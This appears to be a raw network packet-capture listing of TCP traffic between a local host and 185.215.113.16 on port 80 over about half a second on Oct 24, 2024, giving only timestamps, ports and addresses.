Oct 24, 2024 09:08:13.048486948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048497915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048521042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048552990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048553944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048588991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048607111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048625946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048639059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048680067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049086094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049120903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049148083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049154043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049170971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049205065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049280882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049315929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049335957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049350023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.049372911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.049396038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.087996006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.088125944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.088160038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.088195086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.088196039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.088232994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.088289976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131139040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131248951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131289005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131310940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131351948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131361008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131401062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131427050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131438017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131468058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131479979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131505013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131511927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.131541967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.131562948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165191889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165237904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165299892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165313005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165339947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165343046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165360928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165376902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165397882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165420055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165445089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165456057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165477037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165512085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165515900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165543079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165565014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165579081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165596008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165616035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165632010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165652037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165667057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165707111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165710926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165744066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165762901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165798903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165800095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165834904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165853977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165870905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165890932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165910006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165920973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165947914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.165963888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.165985107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166004896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166021109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166032076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166059017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166068077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166112900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166218996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166275024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166290998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166326046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166336060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166373968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166383028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166424036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166448116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166459084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166471958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166496038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166513920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166532040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.166553020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.166578054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.205658913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.205713034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.205751896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.205789089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.205821991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248338938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248393059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248433113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248464108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248470068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248509884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248534918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248543024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248572111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248579979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248610020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248617887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248631954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248656988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.248673916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.248737097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282360077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282406092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282470942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282526016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282562971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282582045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282598019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282630920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282655954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282656908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282692909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282711983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282746077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282748938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282784939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282802105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282819033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282844067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282875061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282877922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282915115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282931089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282951117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.282968044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.282989025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283011913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283049107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283396006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283453941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283478975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283492088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283519030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283544064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283591986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283651114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283679008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283715010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283739090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283751965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.283761978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.283802986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284054041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284090042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284115076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284138918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284143925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284179926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284198999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284216881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284235001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284262896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284277916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284301043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284320116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284332991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.284358978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.284406900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.323594093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.323640108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.323681116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.323714018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.323718071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.323741913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.323786974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365559101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365607023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365639925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365668058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365684986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365709066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365724087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365746021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365756989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365782976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365802050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365820885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365838051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365858078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365891933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365896940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.365916967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.365946054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399657011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399713993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399736881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399750948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399784088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399787903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399806023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399847984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399852037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399879932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399908066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399918079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399946928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399950027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.399971008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.399986982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400011063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400022984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400046110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400087118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400104046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400161982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400176048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400197983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400224924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400266886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400289059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400326014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400353909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400365114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400393963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400403976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400414944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400441885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400469065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400480032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400489092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400516033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400542974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400551081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.400579929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.400619030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401037931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401094913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401107073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401133060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401168108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401194096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401196957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401232958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401249886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401269913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401285887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401308060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401343107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401345015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401362896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401406050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401621103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401655912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401693106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401712894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401738882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401750088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401767015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401793957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401817083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401830912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.401868105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.401892900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.440159082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.440249920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.440251112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.440304995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.440310001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.440362930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.482888937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.482944965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.482980013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.482980967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483012915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483036041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.483042002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483077049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.483103991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483114958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.483148098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483153105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.483169079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483191013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.483208895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.483247995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517191887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517285109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517288923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517324924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517350912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517388105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517389059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517448902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517465115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517501116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517527103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517535925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517575026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517591953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517596960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517622948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517677069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517733097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517755985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517755985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517755985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517771006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517807007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517811060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517838955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517875910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517910957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517910957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517910957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517913103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517952919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.517986059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517986059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.517992973 CEST	80	49997	185.215.113.16	192.168.2.6
